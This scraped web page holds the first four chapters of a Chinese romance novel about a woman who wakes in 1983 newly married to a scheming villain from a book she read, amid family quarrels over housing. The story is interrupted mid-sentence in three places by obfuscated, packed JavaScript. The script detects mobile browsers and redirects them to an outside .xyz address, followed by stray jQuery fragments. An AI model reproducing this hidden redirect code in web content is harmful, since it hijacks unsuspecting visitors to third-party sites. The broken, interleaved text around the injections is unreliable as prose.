《被八零反派宠到腿软》
1. 第 1 章
“这位同志,这是你的结婚证,请收好。”
“同志,你没事吧?”
姜菱回过神来,看见面前红色封皮的结婚证愣住了。
扎着麻花辫的工作人员穿着列宁装,正面带担忧地看着她。
眼前一切都与现代社会不同,穿着灰扑扑的妇女,老旧昏暗的室内装潢。
很明显她穿越了,穿越到了上个世纪七八十年代。
还有被递到她面前的结婚证,是谁结婚?
难不成是她结婚。
这对新婚小两口都长得赏心悦目,结婚登记处的工作人员愿意多看两人一眼,在办完结婚证后,没有催着两人快些离开。
她身边站着个面如冠玉的男青年,穿着与其他人相同的蓝色工装,却像是鹤入鸡群,格格不入。
他唇角含笑询问姜菱是否身体不适。
这人应该就是刚与她一起领了结婚证的丈夫。
听着他关切的话语,姜菱有些心虚,人家刚领证,她就顶了他的新婚妻子的身体。
“我爱人她身体不舒服,能在你们屋里休息一会吗?”
结婚登记处的大姐见这小伙子不仅生了一副好样貌,还对媳妇好,对他的好感直线上升。
“墙角有凳子,你带着媳妇去那边歇歇。”
坐在墙角,姜菱打开了手中的结婚证。
黄底黑字的结婚证书上写着:姜菱、宋观书自愿结婚,经审查合乎婚姻法的规定,发给此证,一九八三年,二月二十八日。
一睁眼来到了艰苦奋斗的八三年,这还不是令姜菱最眼前一黑的事情。
她叫姜菱,今天跟她结婚的男人叫宋观书。
可巧正对上她前些天看的一本年代文小说,小说中的阴暗反派就叫宋观书,为人阴险狡诈佛口蛇心,偏爱给男主添麻烦。
不知怎么,了解便宜丈夫是宋观书,姜菱占了别人身体的愧疚顿时少了一大半。
宋观书并非对原身体的主人有感情,他跟“姜菱”处对象,只为了给男主谢朗添堵。
姜菱是谢朗白月光,他心中有人家,却不好意思去追。
宋观书看出他的心思,将人变成了自己对象。
得不到的永远是最好的,后期即便谢朗已经跟官配佟婉月在一起,他心里还是没能忘掉“姜菱”。
为了能让男女主全心全意在一起,“姜菱”黑化了。
谢朗爱着她的时候,她选择跟前程更加光明的宋观书在一起。
谢朗连破数个大案子,成为市局骨干。
宋观书被击毙,“姜菱”为求保护伞,在明知对方有女友的情况下,爬上了谢朗的床。
谢朗看清楚了她的真面目,将白月光从心底拔除。
没有谢朗护着以后,“姜菱”为了傍大款,去夜总会陪酒,却被人家老婆找的保镖打成了半身不遂。
姜菱小小叹了口气,指定是这个结婚证有点说法,总共俩人,一个被枪毙,还有一个半身不遂。
婚姻登记处的只靠着小煤炉取暖,屋内不暖和,盖章的工作人员时常需要哈气搓手。
宋观书的确是个“好丈夫”,他出去了一趟,不知从哪弄到的烤地瓜。烤地瓜还冒着热乎气,用油纸裹着塞在姜菱怀里,让她暖暖手。
登记处的工作人员笑着看两人互动,小两口长得养眼,感情甜蜜。
来登记的小情侣自然注意到了这一角,看着那位男同志长得斯文不说,还对媳妇好,自家热恋期的男友瞬间碍眼许多。
姜菱清楚,没什么爱不爱,他单纯表演欲作祟。
闻着香甜的地瓜香,姜菱被勾得饿了。
中午时,原主跟财务科科长请了半天假。没来得及吃饭,就匆匆往结婚登记处赶去。
宋观书是去年厂里分到的唯一大学生,生了一副好皮囊,厂里不少女孩暗恋他。
喜欢他,和嫁给他又是两码事。
宋观书是资本家出身,虽然政策上对成分放宽,普通百姓对成分不好的人依旧存在偏见。
导致他工资高长得俊,却没人敢给他做媒。
被宋观书追求,满足了原主的虚荣心,却迟迟没有答应他。
直到今年过年前,弟弟女友的父母来家里闹,说姜立文把女友肚子搞大了,不结婚就告他耍流氓。
对于不是正式工的准儿媳,姜家父母原不太满意,只是如今有了孙子,只能同意。
姜家父母以为同意婚事便是恩赐,姜立文女友的父母仍不满意,在姜家的房子中走了一圈,问起小两口婚后住在哪儿?
姜家是日化厂分的房子,一大一小两个房间,大房间拉了一道帘子老两口带着女儿睡在大房间,姜立文姜立武俩儿子睡在小房间。
赵红云父母的要求倒也不算过分,总不能让新婚小两口跟小叔子住在一个房间。
从前是姜菱和两个姐姐挤在一张床上,上头俩姐姐陆续成家,她终于能自己睡一张床。
姜家父母私下找了姜菱,让她把床让给小弟姜立武,她搬去客厅睡。
让已经二十岁的大姑娘睡在客厅里,平时家里来个客人,多不方便啊。
选择跟宋观书结婚是出于无奈,前天赵红云搬进了姜家,她在漏风且没隐私的客厅睡了两晚上,就决定嫁出去。
厂里有集体宿舍,姜菱跟工友们关系不好,住不来员工宿舍。
在追求她的男同志当中,数宋观书的条件最好,他是稀缺的大学生,下一批若是分房,他会是分到房的职工之一。
宋观书脸上挂着无懈可击的笑容,温柔注视着她。
姜菱小心翼翼扒下地瓜皮,当着宋观书的面,两口吃完了一根地瓜。
宋观书脸上的假面差点崩开,难以忍受地移开了目光,他从小跟父母一起生活的时间不长,许多习惯已经根深蒂固。
即便后来下乡做知青,哪怕再累再饿,他都没有过不顾形象地吃东西。
姜菱短暂思考了一下刚领证就离婚的可行性,程序上行不行都是其次,重要是容易被宋观书记恨。
肚子里有了热乎气,对这个世界才算有了真实感。
她把结婚证顺手揣进兜里,“我没事了,回去吧。”
还没出正月,家家户户门边贴着的春联还是红艳艳的。
走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069180|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出结婚登记处,姜菱才知道办公室内的小煤炉有在认真工作。
二月的北方室外一片萧索,毫无绿意,路边堆放着还没消融的积雪。
一阵风吹过,将棉衣彻底打透。
姜菱把脖子缩进薄薄的棉衣中,还是很冷。
宋观书推着自行车,不走心地说道,“我送你回去。”
姜菱当然不会拒绝,她的记忆还很混乱,光靠自己压根找不到家。
却偷偷心中腹诽,真会装。
这人的绅士风度全是装出来的,原主跟他都从日化厂到结婚登记处,他有自行车,原主却是靠着两条腿走过来的,不然也不会那么饿。
侧坐在后座上,第一次坐二八大杠,她还有点害怕。
路面不平,怕被颠下去,姜菱揽住了他的腰。
他从没有跟女同志有过这般亲密的举动,即便还穿了厚厚的棉衣,宋观书还是很不习惯。
他下意识想要跳车,把她的手甩开。
姜菱第一次坐这种车子,心里害怕,搂得特别用力。
一个想逃,另一个怕摔。
最终结果就是连人带车一起摔在路上。
正值工作日,路上行人不多。
可姜菱还是把围脖拉起来,挡住了大半张脸,只露出一双黑亮的眼睛。
冬天穿得厚实,地面却也相对其他季节更加坚硬。
姜菱的胳膊腿都摔得不疼,只有额头撞到了宋观书背部的骨头。
她揉了揉已经发红了的脑门,他的骨头真硬啊。
莫名其妙摔了一跤,泥人尚有三分火气,她指责道,“好端端的,你干嘛往路上栽!”
车和姜菱一起压在宋观书身上,他做了人肉垫子,被压了个结结实实。
北城人热心肠,路上见到有人摔倒,即便素不相识,有人已经停下了脚步,想要帮忙。
顾不上姜菱,宋观书自顾自爬起来,又扶起了自行车,没有对姜菱伸出援手,任由她自己站起来。
哪里还能看到在结婚登记处时的爱妻摸样。
宋观书当然不认为是自己的错,若不是姜菱突然搂他,他又怎么会摔倒。
他却习惯性把错误揽到自己身上,“抱歉,是我的错。”
“算了。”他认错态度不错,姜菱气消了大半。
姜菱活动了两下手和脚,发现全身上下只有额头疼,“你没受伤吧,胳膊和腿都没事吧。”
宋观书唇角含笑,笑意却不达眼底,将磕破的手掌缩回袖子里,“我没事。”
姜菱提议,“也别骑车了,咱们还是走着回去吧。”
她怕又摔一跤。
宋观书的想法是两人分道扬镳各回各家,只不过她既然提出来了,他也不好拒绝。
“好。”
两人一路无话,走回日化厂家属院。
日化厂职工服务站内,有几个大妈聚在一起闲磕牙。
“姜菱,今天回来得这么早。”崔大娘眼尖,看见熟人,跑到门边,扯着嗓门问。
也没听说姜家的三丫头处对象。
“这小伙子是谁啊,长得可真俊。”
2. 第 2 章
姜菱处对象的事情连家里人都不知道,就更别提邻居大娘了。
对于姜家父母让她睡在客厅,原主心里有气。
负气与宋观书领证,准备默默搬出家里,再也不跟父母联系,让他们追悔莫及。
在这个时代,小伙子单独送姑娘回家,就算不是已经处上对象,也八九不离十了。
崔大娘虽开口问了姜菱两人关系,心里却已经有了答案。
姜菱想着,证都领了,以后也瞒不住,干脆直接说了,“是我对象。”
在北城,男女朋友关系可以叫对象,已经领了证的也能叫对象。
她说的是实话,就看几位大娘怎样理解了。
长得俊是一方面,推着自行车,打扮得清清爽爽,不像是工人子弟,更像是大干部家的孩子。
崔大妈是个大嗓门,“小伙子在哪儿工作啊,父母都是做什么的?”
其余几个大妈都好奇地竖起耳朵,想知道姜家三女儿找了个什么家庭的对象。
姜菱还记得原著中宋观书不喜欢提及自己的家庭,她含糊说道,“就普通家庭。”
她说得语焉不详,有人觉得这青年家里背景深厚,人家家里人不许在外说家庭。
还有人见不得姜菱过得好,相信了有关普通家庭的说辞。
冷嘲热讽道,“还当你心气儿高,能攀上什么高枝儿呢。”
崔大妈知道,许大花是为了儿子追求姜菱无果,反遭拒绝,记恨上了姜菱,在这故意落井下石呢。
崔大妈觉得也不能怪姜菱,许大花家那小儿子啥也不是,连个临时的工作都没有,整日到处游荡,说不好听就是个街溜子。
就是她有女儿,也不愿意嫁到他们家去。
两家又是门对门住着,谈不上关系多亲近。都是没有工作的家庭主妇,虽然有些看不上许大花,因着偶尔跟许大花一起买菜,崔大妈还是帮对方说了两句话。
“说什么胡话呢,孩子有了对象是好事。”崔大妈说,“她这人就是心直口快,千万别跟她一般见识。”
姜菱不至于跟个嘴巴刻薄的老婆子一般见识,她催着宋观书回去,“时间不早了,你快回去吧。”
宋观书柔声说道,“好,你照顾好自己,有事就让人去叫我。”
崔大妈发出善意的揶揄声,“看来今年还能再吃到一次你们家的喜酒了。”
正月十四,也就是前天,姜菱的大弟结婚,摆了两桌喜酒,邀请亲朋和邻居吃了顿饭。
许大花轻嗤一声,“请假谈对象,你也是够缺男人的。”
还没到厂里下班的时间,她提前回家,明显就是请假跟男人出去鬼混。
这话够难听的,其余的几位大妈都杵了她两下,让她积点口德。
孙一兰来服务社买醋,听见这话,气的大骂,“放你娘的罗圈屁,谁家二十来岁的孩子不谈对象。你家老大都三十了不结婚也不处对象,是想当一辈子老光棍啊。”
这是姜菱母亲,虽然重男轻女,也绝对不会让自己孩子被外人羞辱。
她噔噔噔走到柜台前,用力把钱和票甩在柜台前:“来瓶醋。”
许大花自觉是长辈,小姑娘脸皮薄,说两句难听话她也不敢反驳。
孙一兰就不一样了,都是彪悍的家庭妇女,自己又是理亏的那一方。
她把头一偏,拉着崔大妈等几个邻居,“回家去。”
走出便民服务社,她还大声嚷嚷着,“不跟她一般见识。”
以此为自己的灰溜溜离开找足了借口。
售货员默默接过她手里的醋瓶,打满了一瓶醋才小心翼翼交给她,生怕这大娘一时激动把醋给摔着了。
跟人吵了架,孙一兰的心气儿不顺,看见还杵在服务社门口的三女儿,没好气道,“走啊,还等着我请你回家呢。”
姜菱垂下眼睫,亦步亦趋跟在了她的身后。
“处对象了怎么不跟家里说啊,就因为我跟你爸让你睡客厅,所以记恨上了?”孙一兰问,“要是我今天不出来买醋,还得从别人口中知道你谈朋友。”
姜菱没有正面回答,只说,“这几天家里太忙,一直没有找到合适的机会跟你们说。”
筒子楼的楼道里没有灯,白天的时候还好些,晚上黑漆漆一片,什么都看不清,很容易摔跤。
姜家住在三楼,是距离水房卫生间最远的一家。
好处是闻不到臭味和油烟味,坏处嘛也显而易见,坏肚子的时候还挺麻烦的。
姜家的房间只有四十平,能住下曾经挤下过一家七口人,随着姜家两个女儿的出嫁,空间总算宽泛了些。
好日子没过多久,姜立文娶媳妇了,而且马上要添第三代了。
孙一兰把醋放到外面的碗柜里,筒子楼里的家家户户都是这样,房间太小,碗柜只能放在门外,都是穷得叮当响,没有怕丢的东西。
家里其他人快要下班,孙一兰不急着回去做饭,她着急知道姜菱的对象。
“说说吧,他家里是做什么的,他在哪儿工作?”
姜家最小的弟弟姜立武读初三,明天开学。
因为马上就要中考,他正在客厅里看书。
他认真看书,然而那两人的谈话总往他耳朵里钻。
终于他放下书,“三姐,你处对象了?”
姜菱心里呵呵两声,不只是处对象,还顺便领了个证呢!
宋观书的情况倒也没有需要隐瞒的地方,姜菱直接说道,“是咱们厂技术科的。”
孙一兰曾经也是日化厂的员工,前些年大儿子姜立文面临下乡的情况,她就把工作让给了初中毕业的姜立文。
离开厂子好几年,新来的工人她一个也不认识。
不过听说是技术科,孙一兰先点了点头,技术科是个好地方,没关系进不去。
“找机会带他来家里看看,差不多就把你俩的事儿给定下来。”她像是个关心女儿的母亲一般,“好歹也是个大姑娘了,不能总住在客厅。”
姜菱笑,心道你也知道呢。
她拉住了姜菱的手絮絮叨叨说道,“你别怪妈偏心,你是女孩子,总要嫁人。你二弟还得在咱们家继续生活,他马上要考高中了,正是最关键的时候,客厅人来人往,他晚上休息不好,白天会影响上课,你是他三姐,也不希望你弟弟中考落榜,他有了好前程,你们几个姐姐也能跟着沾光。”
“我知道,不过我住在客厅晚上睡不好,也会影响白天工作,我准备住进员工宿舍里。”
孙一兰又变成了不舍得女儿的母亲,“你有了对象,眼看就能嫁人,妈还想再多看你两眼,你搬去职工宿舍,就只有放假的时候才能看见你了。”
她不只是舍不得女儿,还舍不得女儿每月上交的十块钱家用。
姜菱中午在厂食堂吃饭,早饭在家吃一顿,晚上要在家里睡觉。
她每月工资二十八块,光是给家里的,就要一小半。
姜家吃喝很普通,一家人的伙食费差不多十块多钱,姜菱一个人上交的就够了。
姜菱每月还会给姜立武零花钱,她给了,孙一兰就不用给了。
她如果住在职工宿舍,就不会再交家用,孙一兰当然不舍得她了。
姜菱反问:“那怎么办?”
“你再委屈委屈,在家里住到嫁人。”
屋里不算太暖和,姜菱搓了搓冰凉的指尖,“小弟要中考,需要保证他的睡眠,你们俩晚上睡觉都打呼噜,他也睡不好觉。那不如让立文两口子去他老丈人家住一段时间,等小弟中考完了,我也差不多嫁人了。您舍不得女儿,亲家大娘肯定也舍不得自己女儿。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069181|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>姜立武自然同意姜菱的提议,他跟父母一块睡有诸多不便。
要是能自己单独一个房间睡到中考前,那就再好不过。
“三姐说得有道理。”
孙一兰一巴掌拍在他的肩膀上,“看书去,大人说话小孩不要插嘴。”
姜立武坐回了窗户边上的小板凳上,窗边有自然光,还能贴着暖气片,是整间房里最适合看书的位置了。
她有些为难地看向女儿,“你是咱们家最懂事的孩子,你一定能理解爸妈的苦衷,你弟妹是出嫁女,哪有出嫁的女儿带着女婿回娘家住的道理,要被人在背后嚼舌根的。”
姜立武撇了撇嘴,他妈总爱这么说,大姐二姐三姐都是她“最”懂事的孩子。
“我理解你们不容易,我搬去职工宿舍住是最好的选择了。”
见说不动女儿,孙一兰干脆先逃了,“你爸快下班了,我先去做饭。”
她拎着锅去外面做饭,姜立武立刻把手里的书一扔,窜到沙发上。
“三姐,你下次跟我三姐夫出去玩,能带着我一起吗?”
姜菱瞥他一眼,“不能,你还是想着好好学习吧。”
姜立武正值变声期,公鸭嗓,“其实吧,考上了最好,考不上也没关系的。”
姜菱哪能看不出他的小心思,“别做梦了,你没考上高中,爸不会把他的工作让给你。”
且不说姜立文作为长子,更受父母的钟爱。
姜立文那时候没有工作要下乡,为了让他不下乡,孙一兰才会将她的工作让给儿子。
姜志福还没有到退休年龄,他一个月工资五十块,若将工作让给姜立武,他得从学徒干起,每月工资十八块钱,家里收入大打折扣不说,老两口都没有了工作,失去收入来源,得伸手跟儿女要钱。
当然了,姜立武也有自己的心眼。
大嫂是临时工,想要转正,肯定惦记着爸的工作。
家里有俩儿子,妈已经把她的工作让给大哥,爸的工作不给他,也不能给大嫂啊。
“别只看了眼前那一亩三分地的小利,你考上大学以后,学校分配工作,是坐办公室的,可比生产科的工人强多了。”
这姐弟俩关系不错,都不喜欢姜立文,经常一起说他的坏话。
姜立武狐疑地看她,“三姐,你今天有点奇怪。”要是放在以前,她肯定支持他。
姜菱拍了拍他的肩膀,“看透了而已,不要为了一时置气,影响自己的一生。”
说到底,姜立武想争的不只是工作,还有来自父母的公平对待。
“中专不好考,高中却没那么难,你想想你考上高中大学,爸妈肯定会供你读书,这七年间得花掉多少钱啊,你考上大学,就是父母心里的这个。”姜菱竖起个大拇指,意为心尖尖。
十五六岁的少年,想事情比较单纯,姜菱说坐办公室他没心动,可能取代姜立武成为父母的心头肉,他心动了。
姐弟俩说完,姜家其他人下班回来了。
“老三今天下班这么早。”
孙一兰跟在丈夫身后端出了晚饭,“你闺女真是出息了,谈对象不跟家里人说,如果不是我正好遇见,还不知道要瞒到什么时候。”
姜立武有眼色地帮着端饭。
赵红云听见这内容,忍不住变了脸色。
她比姜家人还关心对方是谁“三姐谈对象了,谁啊?”
她的车间主任家小儿子看中了姜菱,直到她嫁进姜家做儿媳,今天上班的时候,还特意跟她说了这件事。
还跟她暗示过,若是能够办成,她可以从临时工转为正式工。
她本来看中了公公姜志福的工作,想着等她生完孩子以后,靠着给姜家生孙子的功劳,公公把工作让给她。
但如果能够提前转正,那就最好不过了。
3. 第 3 章
“他在咱们厂技术科工作。”
跟王主任家的小儿子对不上,赵红云顿时拉下脸来。
日化厂是个大厂,姜家一大家子都在厂里工作,厂里人虽不能都认识,却也认识个七七八八。
就算不认识,明天上班的时候还能去打听。
“技术科的谁?你说叫什么名?”
宋观书在厂里也算是个名人,这些年厂里头一个的大学生,样貌又极为出众。
听到名字后,还在日化厂工作的姜家人眼前出现了一张如玉的俊秀脸庞。
赵红云不假思索道,“三姐,你别是看中了宋观书那张脸才愿意跟他处对象吧。”
“是,他确实长得好看。”
被姜立文瞪了一眼,不影响她继续说,“长得好看不当吃也不当用,找男人不能只看样貌,那关键得看出身啊。”
她这话,姜家其他人都十分赞同。
赵红云又说,“三姐是咱们厂长得最好看的女工,就连那电影明星都没你长得好看,你想找啥样的没有啊,别说厂领导家的孩子了,就是配政府领导家的孩子都绰绰有余。”
“那宋观书无父无母,还成分不好,你说万一......对吧,连累你可怎么办啊。”
“咱们厂很多领导家的孩子都稀罕你,你说给厂里领导做儿媳妇,怎么可能亏待你呢。”当然了,也不会亏待姜家其他人。
姜志福把筷子拍在桌子上,“红云说得对,你明天就去找那个宋观书,跟他说清楚分手!”
赵红云:“对啊,三姐你跟他分了,我给你介绍几个,保准比宋观书更好。”
她心虚,又补充了一句,“咱们是一家人,我总不能坑你。”
姜立武想要为三姐说两句话,却被父亲一个眼刀吓了回去。
姜菱没吭声,反正她明天搬去宿舍住,随他们怎么说。
孙一兰也想起了做饭前三女儿曾经说过要出去住,“姜菱想要住到职工宿舍,我觉得咱一家人还是住在一起更好。”
姜志福才拿起的筷子又摔在桌子上,“出去住,我看你是翅膀硬了,觉得爹妈都管不了你?”
姜立武弱弱开口:“三姐她是因为家里住不下,才想着去宿舍住。”
赵红云:“是我跟孩子多余了,我才进门,三姐就要出去住,不知道还以为是我赶姑姐离家。”
沉默了一晚上的姜立文终于开口,“三姐,你别出去住了,你是本地人,去职工宿舍住,叫外人听说要在背后议论红云的。”
姜菱微笑道,“那好啊。”
姜立文以为事情解决,低下头继续吃饭,就听见那道女声继续说道,“你搬到客厅住。”
他皱起眉毛,用你可真不懂事的语气说道,“红云正怀着孕呢,哪能住在客厅。”
“对啊,我知道,所以是你——搬到客厅。”姜菱着重强调搬到客厅的只有姜立文,“反正你媳妇有了身子,你们晚上不能干别的事儿。”
她似笑非笑看他,“我这么做也是为了孩子着想,万一你们小两口年轻火气大,做了点什么,影响到肚子里的孩子怎么办。”
她光明正大把那种事搬到台面上说,除了姜立武真单纯的以外,都臊得满脸通红。
姜立文有些嫌弃说道:“三姐你好歹一个大姑娘,这也就是在自家人面前,若叫外人听见,要说你耍流氓。”
姜菱呵呵笑了两声:“有吗,还好吧,我只是说说而已就叫不知羞耻,那你们在婚前做了那种事叫什么?”
婚前谈性是不知羞耻,你和赵红云可是在婚前把孩子给搞了出来了呢。
“我算是看出来了,这是针对我的鸿门宴啊,才把我娶进门,话里话外讽刺我,嫌我多余我回娘家还不成吗。”
姜立文可害怕媳妇跑了,“三姐,这事是你做的不对,你跟红云道个歉,你俩各退一步,就当这件事从没有发生过。”
姜菱不理解,“是你跟红云道歉才对,虽说媳妇已经娶进门,也不能明里暗里骂她啊。”
她语重心长说道,“姐知道你心里还惦记着小张,你现在毕竟已经结婚了,马上孩子就要出生,踏踏实实过日子才对。”
赵红云本来想要拿捏姜菱这个姑子,听说丈夫心里还惦记着别人,这下真的被气哭了,一嗓子嚎了出来。
孙一兰怕影响到肚子里的孙儿,赶紧抚着她的后背顺气,“没有的事,她瞎说呢。”
姜立武一直看不惯大哥,恨不得能给他多添点堵,他也煞有其事说道,“妈,你就别骗大嫂了,要说小张姐姐已经过去了,大嫂你别担心,我哥心里还是有你的。”
姜立文恨不能给这两个胡说的家伙两拳,“没有小张,真没有。”
姜志福和孙一兰不知道儿子的情史,只想着把儿媳妇哄好,别把事情闹大。
听见儿子女儿都说这个小张,两人竟还真以为有这么一个人。
孙一兰也就顺着解释道,“傻孩子,我自己的儿子,我知道,他心里肯定有你。”
她这话没有起到解释作用,反而坐实了小张同志的存在。
赵红云顿时不吃饭了,摔摔打打回了小房间,姜立文赶紧跟她回房间。
孙一兰也想跟去,姜志福拉了她一把,让她别瞎掺和人家小两口的事儿。
姜家小两口在房间吵架,老两口食之无味。
只有姜菱和姜立武这姐弟俩吃得最欢,姜立武高兴着呢,很久没有吃过这么饱了。
孙一兰做饭严格按照定量来,绝对不多做一口,他半大小伙子正长身体的时候,他碗里的饭永远没有姜立文的饭多。
问就是:你大哥上班辛苦,咱们要多体谅体谅他。
他是个不挣钱的学生,自然不能再抱怨。
姜菱睡了一晚上硬沙发,说是沙发就是长木椅上铺了条褥子。
这一晚上腰酸背痛,加剧了她想要搬出这个家的念头。
出门上班时,她脑子里惦记着怎样搬去职工宿舍,孙一兰却催着她要去跟宋观书分手。
全家一起下楼,姜立文两口子经过一晚上,如今已经和好。
姜家唯一的自行车正在姜立文□□,他骑着自行车载上媳妇伴随着清脆的车铃声一溜烟走远了。
这是为了娶赵红云,才买的自行车。
赵红云父母要了三转一响,经过孙一兰和姜志福的讨价还价,最后只要了个自行车。
为了这辆自行车,就连已经出嫁的大姐二姐都送了三十块钱回家,这钱相当于她们俩一个月的工资。
更何况还需要在家吃用的姜菱,她拿出了五十块,扣除每月交给家里的钱,还有她的必要支出,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069182|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要攒小半年呢。
为了姜立文结婚全家都出钱出力,独他一分钱没掏,坐享其成得了个媳妇。
姜菱不想跟姜志福同路,她干脆加快步伐。
到了厂里,按照记忆找到财会科。
她在财会科上班,科室里加上科长副科长一共八人,科长爱喝酒经常宿醉带着酒味上班。副科长手巧,喜欢上班时间打毛衣。
两个领导不干活,工作都交给三个小兵做。
科长唐国上班时又是一身酒味,脸上一团坨红。
于是姜菱询问正在缠毛线的副科长李春娇,“李姐,我想要搬到咱们厂职工宿舍的话,应该跟谁申请呢。”
李春娇放下毛线看她,“怎么想着从家搬出来了,我记得你弟弟前段时间刚结婚。跟弟媳妇相处不来?”
整天无所事事,听听下属家的八卦就当作是看电视了。
“家里太小了,住不开啊。”不了解她性格之前,姜菱当然不会跟她说家里事,“咱们厂什么时候能再分房啊,上次分房的时候,我们姐弟都还小,我爸妈带着五个孩子挤挤倒能住,转眼间我们长大了,姐弟不能挤在一起,实在是太不方便了。我小弟要是结婚,家里就更住不开了。”
厂里各家都住不开,也不独她们一家。
财会科其他人也有着苦恼,跟着姜菱一块吐槽。
坐在一块讨论了半上午关于住房问题,到了吃饭的时间,几人才打住。
还记得姜菱的问题,满身酒气的唐科长告诉她,“去后勤领申请表,我这里给你签字盖章,就能去职工宿舍住了。”
中午大家都是趴在办公室的桌子上午休一会,姜菱没有午休,在后勤处众人午休之前,去领了表,等下午闲下来的时候填表,顺便请唐科长签字盖章。
唐科长下午出去开了个会,姜菱赶在下班之前交了申请表。
等后勤通过,三天之内就能住进职工宿舍了。
刚过了年,财会科工作量很少,姜菱回去的时候,科室其他人已经提前下班了。
姜菱大姐姜莲的邻居在后勤处工作,两人相伴回家时,她听到邻居说姜菱申请了职工宿舍,当即把人抛下,跑来财会科找姜菱。
办公室都没人了,姜菱打算锁门回家。
正赶上姜莲风风火火跑过来,把她推进办公室。
如果她不是女人,姜菱都要怀疑对方要对她行不轨之事。
“好端端为什么要搬去职工宿舍住?”姜莲坐在妹妹的工位上。
她还是那套说辞,“你也知道家里住不下。”
姜莲却是有点不信的,“真不是家里出了什么事吗?”
“红云嫁进来前你不说住不下,她嫁进来了,你却说住不下,让外人怎么想啊。”
“没人多想,都是厂里职工住房面积太小导致的。”
“反正你快要嫁人了,不然就再忍一忍。”姜莲是非常要面子的人,“不然你来我们家,跟你外甥女一起住。”
姜菱实在有些不太能理解她怎么想的,“去姐姐姐夫家住,说起来更不好听,还不如住进职工宿舍。”
“呦,莲姐也在。”门边出现个长相清爽的男孩子,小麦色皮肤,双目灿若明星,“我来办公室找我妈,看见你俩,想着来打个招呼。”
这正是男主谢朗。
4. 第 4 章
他今年在警校读大四,在厂附近派出所实习,不出意外他将来会留在派出所工作。
谢朗母亲是人事处处长,他从小在厂里众星捧月长大,几乎厂里每个职工都认识他,“你们派出所下班也挺早。”
姜莲探出头看了一眼,“白姐不在办公室吗?”
姜菱和谢朗是高中同学,从前上学的时候,他偶尔会去姜家找姜菱,跟姜家人很熟了。
谢朗斜倚在门框上,耸耸肩,“办公室没人她好像出去开会了。”
隔壁办公室锁着门,姜莲便请他进屋说话。
“先进来,走廊里面有风,怪冷的。”
谢朗依言进了办公室。
姜莲:“你在派出所实习还好?能习惯吗?累不累啊?”
对于这位原书中的男主,姜菱带着好奇与审视打量着他。
感受到心上人投来的目光,谢朗站在门前有些手足无措,“派出所还挺闲,不累的。”
这时候人穷,家家户户经常为了鸡毛蒜皮的小事起争端,很少会闹到派出所。
姜莲面带笑意夸道,“谢朗现在真是个板正的小伙子,也不知道谁家姑娘有福气嫁到你们家。”
一张俊脸羞得通红,“以后的事儿,都说不准的。”
谢朗家庭条件好,姜莲从前没想过这件事,今天是话赶话说到这了,“你跟我们姜菱就很般配啊,郎才女貌,又是高中同学知根知底。”
越说越觉得合适,谢朗涨红了一张脸。
“您别这样说,传出去对姑娘家的名声不好。”
姜莲是过来人,哪还能看不出谢朗对姜菱有点意思。
“这好办啊,在传出去之前,你俩在一起就好。”
不等姜菱先制止姜莲,谢朗便说,“我听人说,也不知道是不是真的,听错了千万别跟我一般见识。”
他说话有些语无伦次。
姜莲笑了笑,“你这孩子,咱都认识这么多年了,有话就直说呗。”
“听到有人谣传,说姜菱有对象了。”他脸上的笑容带着几分勉强。
这消息传的可真快啊,应该是家属院那几个大娘传的。
姜莲率先否定,“怎么可能,肯定是外人胡说的,我们姜菱没有对象。”
正在这时,留了一道缝的办公室木门被从外推开。
门外站着个清润出尘的男青年,气质矜贵,眉目如玉,不是宋观书还是谁。
谢朗曾与宋观书同一村子当知青,宋观书先下乡,又年长他几岁。
故而谢朗称他为:“宋哥。”
“宋哥怎么知道我在财务科?”他大大咧咧没多少心眼,后知后觉意识到不是来找他的,“你来财务处是有事要办?”
他大大咧咧介绍道,“姜菱是我同学,也是咱厂财务科的干事,有事找她就对了。”
宋观书微微点头,他长了一双凌厉的眼睛,却总是带笑,“我来接对象下班。”
谢朗被这一句话惊到了,他在屋里的姜家姐妹身上环视一圈,“来接莲姐的吗?”
姜莲早已结婚,孩子都满地跑了,自然不可能是她。
还能是谁,谢朗不愿去想。
真是个缺心眼的熊孩子,姜莲没忍住在他后背上拍了一下。
联想到方才从谢朗口中听到的内容,姜莲笑的有几分勉强,“你是我们姜菱的对象?”
谢朗不傻,姜莲能想到的,他也后知后觉想到了,只不过一直不敢相信。
听姜莲提起,他便屏息凝神,希望能从宋观书口中听到否定的答案。
宋观书唇角勾起淡淡的笑,“我们昨天领证了。”
这下连着姜菱都被吓着了,这人为了刺激谢朗,真可谓是无所不用其极。
姜莲作为姜家大姐,肯定不信自己最小的妹妹会干出领证不跟家人说的事情。
“这位同志,或许你是我妹妹的对象,但结婚是大事,不好玩笑。”
